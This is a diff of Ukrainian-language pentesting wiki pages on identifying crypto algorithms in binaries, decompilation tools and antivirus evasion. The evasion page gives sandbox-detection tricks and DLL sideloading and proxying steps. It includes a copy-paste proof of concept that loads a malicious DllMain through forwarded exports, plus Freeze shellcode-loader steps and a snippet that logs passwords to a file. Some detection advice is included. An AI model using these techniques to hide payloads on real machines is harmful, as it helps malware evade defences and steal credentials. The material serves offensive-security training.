- **Стадія XOR**: Нарешті, відкритий текст або шифротекст **XOR-яться з значеннями, створеними раніше**. Функція для шифрування та дешифрування є однаковою. Для цього буде виконано **проходження через створені 256 байт** стільки разів, скільки необхідно. Це зазвичай розпізнається в декомпільованому коді з **%256 (mod 256)**.
> [!TIP]
> **Щоб визначити RC4 у дизасембльованому/декомпільованому коді, ви можете перевірити 2 цикли розміру 0x100 (з використанням ключа), а потім XOR вхідних даних з 256 значеннями, створеними раніше в 2 циклах, ймовірно, використовуючи %256 (mod 256)**
### **Стадія ініціалізації/Субституційна коробка:** (Зверніть увагу на число 256, яке використовується як лічильник, і як 0 записується в кожному місці з 256 символів)
![](<../../images/image (377).png>)
### **Стадія перемішування:**
![](<../../images/image (378).png>)
### **Стадія XOR:**
![](<../../images/image (379).png>)
## **AES (Симетричне Криптування)**
### **Характеристики**
- Використання **субституційних коробок та таблиць пошуку**
- Можливо **відрізнити AES завдяки використанню специфічних значень таблиць пошуку** (констант). _Зверніть увагу, що **константа** може бути **збережена** в бінарному **або створена** _**динамічно**._
- **Ключ шифрування** повинен бути **дільним** на **16** (зазвичай 32B) і зазвичай використовується **IV** довжиною 16B.
### Константи SBox
![](<../../images/image (380).png>)
## Serpent **(Симетричне Криптування)**
### Характеристики
- Рідко можна знайти деяке шкідливе ПЗ, яке його використовує, але є приклади (Ursnif)
- Легко визначити, чи є алгоритм Serpent, чи ні, на основі його довжини (надзвичайно довга функція)
### Визначення
На наступному зображенні зверніть увагу, як константа **0x9E3779B9** використовується (зверніть увагу, що ця константа також використовується іншими криптоалгоритмами, такими як **TEA** -Tiny Encryption Algorithm).\
Також зверніть увагу на **розмір циклу** (**132**) та **кількість операцій XOR** в **інструкціях дизасемблювання** та в **прикладі коду**:
![](<../../images/image (381).png>)
Як вже згадувалося, цей код можна візуалізувати в будь-якому декомпільованому вигляді як **дуже довгу функцію**, оскільки в ній **немає стрибків**. Декомпільований код може виглядати наступним чином:
![](<../../images/image (382).png>)
Отже, можливо визначити цей алгоритм, перевіривши **магічне число** та **початкові XOR**, бачачи **дуже довгу функцію** та **порівнюючи** деякі **інструкції** довгої функції **з реалізацією** (наприклад, зсув вліво на 7 та обертання вліво на 22).
## RSA **(Асиметричне Криптування)**
### Характеристики
- Складніший, ніж симетричні алгоритми
- Немає констант! (кастомні реалізації важко визначити)
- KANAL (криптоаналізатор) не може показати підказки щодо RSA, оскільки покладається на константи.
### Визначення за допомогою порівнянь
![](<../../images/image (383).png>)
- У рядку 11 (ліворуч) є `+7) >> 3`, що таке ж, як у рядку 35 (праворуч): `+7) / 8`
- Рядок 12 (ліворуч) перевіряє, чи `modulus_len < 0x040`, а в рядку 36 (праворуч) перевіряє, чи `inputLen+11 > modulusLen`
## MD5 & SHA (хеш)
### Характеристики
- 3 функції: Init, Update, Final
- Схожі функції ініціалізації
### Визначення
**Init**
Ви можете визначити обидва, перевіривши константи. Зверніть увагу, що sha_init має 1 константу, якої MD5 не має:
![](<../../images/image (385).png>)
**MD5 Transform**
Зверніть увагу на використання більшої кількості констант
![](<../../images/image (253) (1) (1) (1).png>)
## CRC (хеш)
- Менший і більш ефективний, оскільки його функція полягає в знаходженні випадкових змін у даних
- Використовує таблиці пошуку (тому ви можете визначити константи)
### Визначення
Перевірте **константи таблиці пошуку**:
![](<../../images/image (387).png>)
Алгоритм хешування CRC виглядає так:
![](<../../images/image (386).png>)
## APLib (Стиснення)
### Характеристики
- Непізнавані константи
- Ви можете спробувати написати алгоритм на python і шукати подібні речі в Інтернеті
### Визначення
Графік досить великий:
![](<../../images/image (207) (2) (1).png>)
Перевірте **3 порівняння, щоб його розпізнати**:
![](<../../images/image (384).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,114 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Посібник з декомпіляції Wasm та компіляції Wat
У сфері **WebAssembly** інструменти для **декомпіляції** та **компіляції** є необхідними для розробників. Цей посібник представляє деякі онлайн-ресурси та програмне забезпечення для роботи з **Wasm (бінарний формат WebAssembly)** та **Wat (текстовий формат WebAssembly)** файлами.
## Онлайн-інструменти
- Для **декомпіляції** Wasm у Wat зручно використовувати інструмент на [демо wasm2wat від Wabt](https://webassembly.github.io/wabt/demo/wasm2wat/index.html).
- Для **компіляції** Wat назад у Wasm підходить [демо wat2wasm від Wabt](https://webassembly.github.io/wabt/demo/wat2wasm/).
- Інший варіант декомпіляції можна знайти на [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
## Програмні рішення
- Для більш надійного рішення [JEB від PNF Software](https://www.pnfsoftware.com/jeb/demo) пропонує розширені функції.
- Відкритий проект [wasmdec](https://github.com/wwwg/wasmdec) також доступний для завдань декомпіляції.
# Ресурси для декомпіляції .Net
Декомпіляцію .Net збірок можна виконати за допомогою таких інструментів:
- [ILSpy](https://github.com/icsharpcode/ILSpy), який також пропонує [плагін для Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), що дозволяє крос-платформне використання.
- Для завдань, пов'язаних з **декомпіляцією**, **модифікацією** та **рекомпіляцією**, рекомендується [dnSpy](https://github.com/0xd4d/dnSpy/releases). **Клацання правою кнопкою** на методі та вибір **Modify Method** дозволяє вносити зміни в код.
- [dotPeek від JetBrains](https://www.jetbrains.com/es-es/decompiler/) є ще одним альтернативним інструментом для декомпіляції .Net збірок.
## Покращення налагодження та ведення журналів з DNSpy
### Ведення журналів DNSpy
Щоб записати інформацію у файл за допомогою DNSpy, включіть наступний фрагмент коду .Net:
%%%cpp
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
%%%
### Налагодження DNSpy
Для ефективного налагодження з DNSpy рекомендується виконати ряд кроків для налаштування **атрибутів збірки** для налагодження, щоб оптимізації, які можуть заважати налагодженню, були вимкнені. Цей процес включає зміну налаштувань `DebuggableAttribute`, рекомпіляцію збірки та збереження змін.
Крім того, щоб налагодити .Net додаток, запущений через **IIS**, виконання `iisreset /noforce` перезапускає IIS. Щоб приєднати DNSpy до процесу IIS для налагодження, посібник інструктує про вибір процесу **w3wp.exe** в DNSpy та початок сесії налагодження.
Для всебічного перегляду завантажених модулів під час налагодження рекомендується отримати доступ до вікна **Modules** в DNSpy, після чого відкрити всі модулі та відсортувати збірки для легшої навігації та налагодження.
Цей посібник охоплює суть декомпіляції WebAssembly та .Net, пропонуючи шлях для розробників, щоб легко виконувати ці завдання.
## **Java Декомпілятор**
Для декомпіляції Java байт-коду ці інструменти можуть бути дуже корисними:
- [jadx](https://github.com/skylot/jadx)
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
## **Налагодження DLL**
### Використання IDA
- **Rundll32** завантажується з конкретних шляхів для 64-бітних та 32-бітних версій.
- **Windbg** обирається як налагоджувач з можливістю призупинення при завантаженні/вивантаженні бібліотеки.
- Параметри виконання включають шлях до DLL та ім'я функції. Ця конфігурація зупиняє виконання при кожному завантаженні DLL.
### Використання x64dbg/x32dbg
- Подібно до IDA, **rundll32** завантажується з модифікаціями командного рядка для вказівки DLL та функції.
- Налаштування коригуються для зупинки на вході DLL, що дозволяє встановлювати точки зупинки на бажаній точці входу DLL.
### Зображення
- Точки зупинки виконання та конфігурації ілюструються через скріншоти.
## **ARM & MIPS**
- Для емуляції [arm_now](https://github.com/nongiach/arm_now) є корисним ресурсом.
## **Shellcodes**
### Техніки налагодження
- **Blobrunner** та **jmp2it** є інструментами для виділення shellcodes в пам'яті та їх налагодження з Ida або x64dbg.
- Blobrunner [випуски](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
- jmp2it [скомпільована версія](https://github.com/adamkramer/jmp2it/releases/)
- **Cutter** пропонує емуляцію shellcode на основі GUI та інспекцію, підкреслюючи відмінності в обробці shellcode як файлу в порівнянні з прямим shellcode.
### Деобфускація та аналіз
- **scdbg** надає інформацію про функції shellcode та можливості деобфускації.
%%%bash
scdbg.exe -f shellcode # Основна інформація
scdbg.exe -f shellcode -r # Звіт з аналізу
scdbg.exe -f shellcode -i -r # Інтерактивні хуки
scdbg.exe -f shellcode -d # Вивантажити декодований shellcode
scdbg.exe -f shellcode /findsc # Знайти початковий зсув
scdbg.exe -f shellcode /foff 0x0000004D # Виконати з зсуву
%%%
- **CyberChef** для дизасемблювання shellcode: [рецепт CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
## **Movfuscator**
- Обфускатор, який замінює всі інструкції на `mov`.
- Корисні ресурси включають [пояснення на YouTube](https://www.youtube.com/watch?v=2VF_wPkiBJY) та [PDF слайди](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf).
- **demovfuscator** може скасувати обфускацію movfuscator, вимагаючи залежностей, таких як `libcapstone-dev` та `libz3-dev`, а також встановлення [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
## **Delphi**
- Для Delphi бінарників рекомендується [IDR](https://github.com/crypto2011/IDR).
# Курси
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Деобфускація бінарників\)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Обхід антивірусів (AV) Bypass
# Обхід антивірусів (AV)
{{#include ../banners/hacktricks-training.md}}
@ -7,89 +7,89 @@
## Зупинити Defender
- [defendnot](https://github.com/es3n1n/defendnot): Інструмент для припинення роботи Windows Defender.
- [no-defender](https://github.com/es3n1n/no-defender): Інструмент, що припиняє роботу Windows Defender, імітуючи інший AV.
- [no-defender](https://github.com/es3n1n/no-defender): Інструмент для припинення роботи Windows Defender шляхом імітації іншого AV.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
Наразі AV використовують різні методи перевірки, чи є файл шкідливим: static detection, dynamic analysis та, для просунутих EDR, behavioural analysis.
Наразі AV використовують різні методи для визначення, чи є файл шкідливим: static detection, dynamic analysis, та для більш просунутих EDR — behavioural analysis.
### **Static detection**
Static detection досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі чи скрипті, а також вилучення інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, іконка, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до виявлення, оскільки їх, ймовірно, вже проаналізували і позначили як шкідливі. Є кілька способів обійти цей тип детекції:
Static detection досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі чи скрипті, а також шляхом вилучення інформації з самого файлу (наприклад, file description, company name, digital signatures, icon, checksum тощо). Це означає, що використання відомих публічних інструментів може легше привести до виявлення, оскільки їх, ймовірно, вже проаналізовано й позначено як шкідливі. Є кілька способів обійти такого роду детекцію:
- **Encryption**
- **Шифрування**
Якщо зашифрувати бінарник, AV не зможе його виявити, але вам знадобиться якийсь лоадер, щоб розшифрувати та виконати програму в пам'яті.
Якщо ви зашифруєте бінарник, AV не зможе його виявити, але вам знадобиться якийсь лоадер, щоб розшифрувати і запустити програму в пам'яті.
- **Obfuscation**
- **Обфускація**
Іноді достатньо змінити деякі рядки у бінарному файлі або скрипті, щоб оминути AV, але це може зайняти багато часу залежно від того, що саме ви намагаєтесь обфускувати.
Іноді достатньо змінити деякі рядки у бінарнику чи скрипті, щоб пройти повз AV, але це може бути трудомістким завданням залежно від того, що ви намагаєтеся обфускувати.
- **Custom tooling**
- **Власні інструменти**
Якщо ви розробляєте власні інструменти, відомих "поганих" сігнатур не буде, але це вимагає багато часу та зусиль.
Якщо ви розробите власні інструменти, відомих сигнатур не буде, але це займає багато часу й зусиль.
> [!TIP]
> Хороший спосіб перевірки на static detection Windows Defender — [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він фактично розбиває файл на кілька сегментів і змушує Defender просканувати кожен окремо; таким чином можна точно дізнатись, які рядки або байти у вашому бінарнику позначені.
> Хороший спосіб перевірити статичну детекцію Windows Defender — [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Воно фактично розбиває файл на кілька сегментів і змушує Defender сканувати кожен окремо; таким чином можна точно дізнатися, які рядки чи байти у вашому бінарнику позначені.
Раджу переглянути цей [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) про практичний AV Evasion.
Раджу переглянути цю [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) про практичний AV Evasion.
### **Dynamic analysis**
Dynamic analysis — це коли AV запускає ваш бінар у sandbox і спостерігає за шкідливою активністю (наприклад, спроби розшифрувати й прочитати паролі браузера, виконати minidump на LSASS тощо). Ця частина може бути складнішою для обходу, але ось кілька прийомів, які допоможуть обійти sandboxes.
Dynamic analysis — це коли AV запускає ваш бінарник у sandbox і спостерігає за шкідливою активністю (наприклад, спроби розшифрувати й прочитати паролі браузера, зробити minidump процесу LSASS тощо). Цю частину трохи складніше обходити, але ось кілька речей, які ви можете зробити, щоб уникнути sandbox:
- **Sleep before execution** Залежно від реалізації, це може бути чудовим способом обійти dynamic analysis AV. AV мають дуже короткий час на сканування файлів, щоб не переривати роботу користувача, тому довгі затримки (sleep) можуть порушити аналіз бінарників. Проблема в тому, що багато sandbox'ів можуть просто пропустити sleep залежно від реалізації.
- **Checking machine's resources** Зазвичай sandboxes мають дуже обмежені ресурси (наприклад, < 2GB RAM), інакше вони можуть уповільнити машину користувача. Тут можна бути креативним наприклад, перевіряти температуру CPU чи швидкість вентиляторів; не все буде реалізовано в пісочниці.
- **Machine-specific checks** Якщо ви таргетуєте користувача, чия робоча станція приєднана до домену "contoso.local", ви можете перевірити домен комп'ютера і, якщо він не співпадає, завершити роботу програми.
- **Sleep before execution** Залежно від реалізації це може бути чудовим способом обійти dynamic analysis AV. AV мають дуже мало часу на сканування файлів, щоб не переривати роботу користувача, тому використання довгих пауз може порушити аналіз бінарників. Проблема в тому, що багато sandbox AV можуть просто пропустити такі паузи залежно від реалізації.
- **Checking machine's resources** Зазвичай у sandbox мало ресурсів (наприклад, < 2GB RAM), інакше вони могли б уповільнювати машину користувача. Тут можна бути креативним: перевіряти температуру CPU або швидкість обертання вентиляторів не все реалізовано в sandbox.
- **Machine-specific checks** Якщо ви хочете націлитися на користувача, робоча станція якого приєднана до домену "contoso.local", ви можете перевірити домен комп'ютера: якщо він не збігається з вказаним, програма може завершити роботу.
Виявилося, що computername Sandbox Microsoft Defender — HAL9TH, тож ви можете перевіряти ім'я комп'ютера у вашому malware перед детонацією: якщо ім'я збігається з HAL9TH, це означає, що ви в sandbox'і Defender, і можна завершити виконання програми.
Виявилося, що computername sandbox Microsoft Defender — HAL9TH, тому можна перевірити ім'я комп'ютера у вашому malware перед активацією: якщо ім'я співпадає з HAL9TH, це означає, що ви всередині sandbox Defender, і можна завершити роботу програми.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>джерело: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Ще кілька дуже корисних порад від [@mgeeky](https://twitter.com/mariuszbit) щодо роботи проти Sandboxes
Декілька інших дуже корисних порад від [@mgeeky](https://twitter.com/mariuszbit) щодо обходу Sandboxes
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev канал</p></figcaption></figure>
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
Як уже згадувалося, **публічні інструменти** рано чи пізно **будуть виявлені**, тож варто поставити собі питання:
Як вже згадувалося раніше, **публічні інструменти** рано чи пізно **будуть виявлені**, тож варто задуматися:
Наприклад, якщо ви хочете дампити LSASS, **чи справді потрібно використовувати mimikatz**? Чи можна скористатися іншим, менш відомим проектом, який також дампить LSASS.
Наприклад, якщо ви хочете дампити LSASS, **чи справді потрібно використовувати mimikatz**? Чи можна скористатися іншим проєктом, менш відомим, який теж дампить LSASS.
Правильна відповідь — ймовірно, остання. Візьмемо mimikatz як приклад: це, мабуть, один з найчастіше помічених AV та EDR інструментів; сам проект класний, але його важко адаптувати для обходу AV, тому просто шукайте альтернативи для досягнення вашої мети.
Правильна відповідь, ймовірно, остання. На прикладі mimikatz — це, мабуть, один із, якщо не найбільш, позначених шматків "malware" AV та EDR; проєкт класний, але з ним справді складно обійти AV, тож просто шукайте альтернативи для досягнення вашої мети.
> [!TIP]
> Під час модифікації payload'ів для евазії переконайтеся, що **вимкнули автоматичну відправку зразків** у Defender, і, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета — довготривала евазія. Якщо ви хочете перевірити, чи виявить конкретний AV ваш payload, встановіть його на VM, спробуйте вимкнути автоматичну відправку зразків і тестуйте там, доки не будете задоволені результатом.
> При модифікації payload-ів для обходу обов'язково **вимкніть автоматичну відправку зразків** у Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета — довгостроковий обход. Якщо хочете перевірити, чи виявляє конкретний AV ваш payload, встановіть його на VM, спробуйте вимкнути автоматичну відправку зразків і тестуйте там, доки не будете задоволені результатом.
## EXEs vs DLLs
Коли можливо, завжди **віддавайте перевагу використанню DLL для евазії** — з мого досвіду, DLL-файли зазвичай **набагато менше виявляються** і аналізуються, тож це простий трюк, щоб уникнути детекції в деяких випадках (за умови, що ваш payload можна виконати як DLL).
Коли це можливо, завжди **надавайте пріоритет використанню DLLs для обходу**; за моїм досвідом, DLL-файли зазвичай **набагато рідше виявляються** й аналізуються, тому це дуже простий трюк для уникнення детекції в деяких випадках (якщо ваш payload може виконуватися як DLL, звісно).
Як видно на цьому зображенні, DLL Payload від Havoc має рейтинг виявлення 4/26 на antiscan.me, тоді як EXE payload має 7/26.
Як видно на цьому зображенні, DLL Payload від Havoc має рівень виявлення 4/26 на antiscan.me, тоді як EXE payload має 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>Порівняння на antiscan.me: звичайний Havoc EXE payload vs звичайний Havoc DLL</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
Тепер покажемо кілька трюків з DLL-файлами, щоб бути значно більш прихованими.
Тепер ми покажемо кілька трюків, які можна використовувати з DLL-файлами, щоб бути набагато непомітнішими.
## DLL Sideloading & Proxying
**DLL Sideloading** використовує порядок пошуку DLL, який застосовує loader, розташовуючи вразливе застосування і шкідливі payload'и поруч.
**DLL Sideloading** використовує порядок пошуку DLL, який використовує loader, розміщуючи додаток-жертву та шкідливі payload(s) поруч один з одним.
Можна перевірити програми, вразливі до DLL Sideloading, за допомогою [Siofra](https://github.com/Cybereason/siofra) та наступного powershell скрипта:
You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Ця команда виведе список програм, вразливих до DLL hijacking всередині "C:\Program Files\\" та DLL файлів, які вони намагаються завантажити.
Ця команда виведе список програм, вразливих до DLL hijacking, у папці "C:\Program Files\\" та DLL files, які вони намагаються завантажити.
Я настійно рекомендую вам **вивчіть DLL Hijackable/Sideloadable програми самостійно**, ця техніка досить прихована при правильному виконанні, але якщо ви використовуєте публічно відомі DLL Sideloadable програми, вас можуть легко викрити.
Я настійно рекомендую вам **explore DLL Hijackable/Sideloadable programs yourself**, ця техніка досить прихована при правильному виконанні, але якщо ви використовуєте публічно відомі DLL Sideloadable програми, вас можуть легко викрити.
Просто розмістивши шкідливий DLL з іменем, яке програма очікує завантажити, не призведе до виконання вашого payload, оскільки програма очікує певні функції всередині цього DLL; щоб вирішити цю проблему, ми використаємо іншу техніку під назвою **DLL Proxying/Forwarding**.
Просте розміщення шкідливого DLL з ім'ям, яке програма очікує завантажити, не призведе до виконання вашого payload, оскільки програма очікує певних специфічних функцій у цій DLL; щоб вирішити цю проблему, ми використаємо іншу техніку під назвою **DLL Proxying/Forwarding**.
**DLL Proxying** переспрямовує виклики, які програма робить із проксі (та шкідливого) DLL до оригінального DLL, зберігаючи функціональність програми та дозволяючи обробляти виконання вашого payload.
**DLL Proxying** перенаправляє виклики, які програма робить, з проксі (і шкідливої) DLL до оригінальної DLL, зберігаючи функціональність програми та дозволяючи обробляти виконання вашого payload.
Я буду використовувати проєкт [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) від [@flangvik](https://twitter.com/Flangvik/)
Я буду використовувати проект [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) від [@flangvik](https://twitter.com/Flangvik/)
Ось кроки, які я виконав:
```
@ -98,7 +98,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
Остання команда дасть нам 2 файли: шаблон вихідного коду DLL та оригінальний перейменований DLL.
Остання команда дасть нам 2 файли: шаблон вихідного коду DLL та оригінальну перейменовану DLL.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
@ -106,38 +106,38 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Обидва наші shellcode (закодований за допомогою [SGN](https://github.com/EgeBalci/sgn)) і proxy DLL мають рівень виявлення 0/26 на [antiscan.me](https://antiscan.me)! Я назвав би це успіхом.
І наш shellcode (зашифрований за допомогою [SGN](https://github.com/EgeBalci/sgn)) і proxy DLL мають рейтинг виявлення 0/26 на [antiscan.me](https://antiscan.me)! Я вважаю це успіхом.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Я **вкрай рекомендую** переглянути [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) про DLL Sideloading, а також [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), щоб детальніше вивчити те, що ми обговорювали.
> Я **категорично рекомендую** вам переглянути [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) про DLL Sideloading, а також [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), щоб більш детально ознайомитися з тим, що ми обговорювали.
### Зловживання Forwarded Exports (ForwardSideLoading)
### Зловживання перенаправленими експортами (ForwardSideLoading)
Модулі Windows PE можуть експортувати функції, які фактично є "forwarders": замість посилання на код запис експорту містить ASCII-рядок у форматі `TargetDll.TargetFunc`. Коли викликач розв'язує експорт, завантажувач Windows буде:
Windows PE-модулі можуть експортувати функції, які насправді є "forwarders": замість вказівки на код, запис експорту містить ASCII-рядок формату `TargetDll.TargetFunc`. Коли викликач вирішує цей експорт, Windows loader виконає:
- Завантажити `TargetDll`, якщо він ще не завантажений
- Визначити `TargetFunc` у ньому
- Load `TargetDll` if not already loaded
- Resolve `TargetFunc` from it
Ключові особливості для розуміння:
- Якщо `TargetDll` є KnownDLL, він постачається з захищеного простору імен KnownDLLs (наприклад, ntdll, kernelbase, ole32).
- Якщо `TargetDll` не є KnownDLL, використовується звичайний порядок пошуку DLL, який включає директорію модуля, що виконує розв'язання переадресованих експортів.
Ключові моменти для розуміння:
- Якщо `TargetDll` є KnownDLL, він постачається з захищеного простору імен KnownDLLs (e.g., ntdll, kernelbase, ole32).
- Якщо `TargetDll` не є KnownDLL, використовується звичайний порядок пошуку DLL, який включає директорію модуля, що виконує forward resolution.
Це відкриває примітив для непрямого sideloading: знайти підписану DLL, яка експортує функцію, переадресовану на ім'я модуля, що не є KnownDLL, а потім розмістити цю підписану DLL поруч із керованою нападником DLL, яка має точно таке ж ім'я, як цільовий перенаправлений модуль. Коли викликається переадресований експорт, завантажувач розв'язує форвард і завантажує вашу DLL з тієї ж директорії, виконуючи ваш DllMain.
Це дає змогу використати непрямий примітив sideloading: знайдіть підписану DLL, яка експортує функцію, перенаправлену до імені модуля, що не є KnownDLL, потім помістіть цю підписану DLL у ту саму директорію разом із attacker-controlled DLL, яка має точно таке ж ім'я, як цільовий модуль у перенаправленні. Коли викликається the forwarded export, the loader обробляє перенаправлення і завантажує вашу DLL з тієї ж директорії, виконуючи ваш DllMain.
Приклад, спостережений у Windows 11:
Example observed on Windows 11:
```
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll` не є KnownDLL, тому вона завантажується згідно зі звичайним порядком пошуку.
`NCRYPTPROV.dll` не є KnownDLL, тому він завантажується за звичайним порядком пошуку.
PoC (copy-paste):
1) Скопіюйте підписану системну DLL у папку, доступну для запису
PoC (копіювання та вставка):
1) Скопіюйте підписаний системний DLL у папку з правами запису
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) Помістіть шкідливий `NCRYPTPROV.dll` у ту ж папку. Мінімальний DllMain достатній для отримання виконання коду; вам не потрібно реалізовувати переадресовану функцію, щоб викликати DllMain.
2) Помістіть шкідливий `NCRYPTPROV.dll` у ту саму папку. Достатньо мінімального DllMain, щоб отримати виконання коду; вам не потрібно реалізовувати forwarded function, щоб викликати DllMain.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -153,31 +153,31 @@ return TRUE;
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Observed behavior:
Спостережувана поведінка:
- rundll32 (підписаний) завантажує side-by-side `keyiso.dll` (підписаний)
- Під час розв'язування `KeyIsoSetAuditingInterface` завантажувач переходить за переадресацією до `NCRYPTPROV.SetAuditingInterface`
- Завантажувач потім завантажує `NCRYPTPROV.dll` з `C:\test` і виконує її `DllMain`
- Якщо `SetAuditingInterface` не реалізовано, ви отримаєте помилку "missing API" лише після того, як `DllMain` уже виконався
- Під час вирішення `KeyIsoSetAuditingInterface` завантажувач переходить за перенаправленням до `NCRYPTPROV.SetAuditingInterface`
- Потім завантажувач завантажує `NCRYPTPROV.dll` з `C:\test` і виконує його `DllMain`
- Якщо `SetAuditingInterface` не реалізований, ви отримаєте помилку "missing API" лише після того, як `DllMain` вже виконано
Hunting tips:
- Зосередьтесь на forwarded exports, де цільовий модуль не є KnownDLL. KnownDLLs перелічені за адресою `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Ви можете перерахувати forwarded exports за допомогою інструментів, таких як:
- Зосередьтеся на перенаправлених експортах, де цільовий модуль не є KnownDLL. KnownDLLs перелічені під `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Ви можете перерахувати перенаправлені експорти за допомогою інструментів, таких як:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
```
- Перегляньте Windows 11 forwarder inventory, щоб знайти кандидатів: https://hexacorn.com/d/apis_fwd.txt
Ідеї щодо виявлення/захисту:
- Моніторити LOLBins (e.g., rundll32.exe), що завантажують підписані DLL з не-системних шляхів, після чого завантажують non-KnownDLLs з тією ж базовою назвою з цього каталогу
- Генерувати оповіщення для ланцюжків процесів/модулів, таких як: `rundll32.exe` → non-system `keyiso.dll``NCRYPTPROV.dll` у шляхах, доступних для запису користувачем
- Застосовуйте політики цілісності коду (WDAC/AppLocker) та забороняйте write+execute у каталогах додатків
Detection/defense ideas:
- Моніторити LOLBins (e.g., rundll32.exe), які завантажують підписані DLL з не-системних шляхів, а потім завантажують non-KnownDLLs з тією ж базовою назвою з цього каталогу
- Сповіщати про ланцюжки процесів/модулів типу: `rundll32.exe` → non-system `keyiso.dll``NCRYPTPROV.dll` у шляхах, доступних для запису користувачем
- Застосовувати політики цілісності коду (WDAC/AppLocker) та забороняти write+execute у каталогах додатків
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
Ви можете використовувати Freeze, щоб завантажити та виконати ваш shellcode приховано.
Ви можете використати Freeze, щоб завантажити та виконати ваш shellcode приховано.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -187,53 +187,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Ухилення — це гра в кішки та миші: те, що працює сьогодні, може бути виявлено завтра, тому не покладайтеся лише на один інструмент; якщо можливо, комбінуйте кілька технік обходу.
> Уникнення детекції — це лише гра в кішку й мишку: те, що працює сьогодні, може бути виявлено завтра, тож ніколи не покладайтеся лише на один інструмент; якщо можливо, намагайтеся поєднувати кілька технік ухилення.
## AMSI (Anti-Malware Scan Interface)
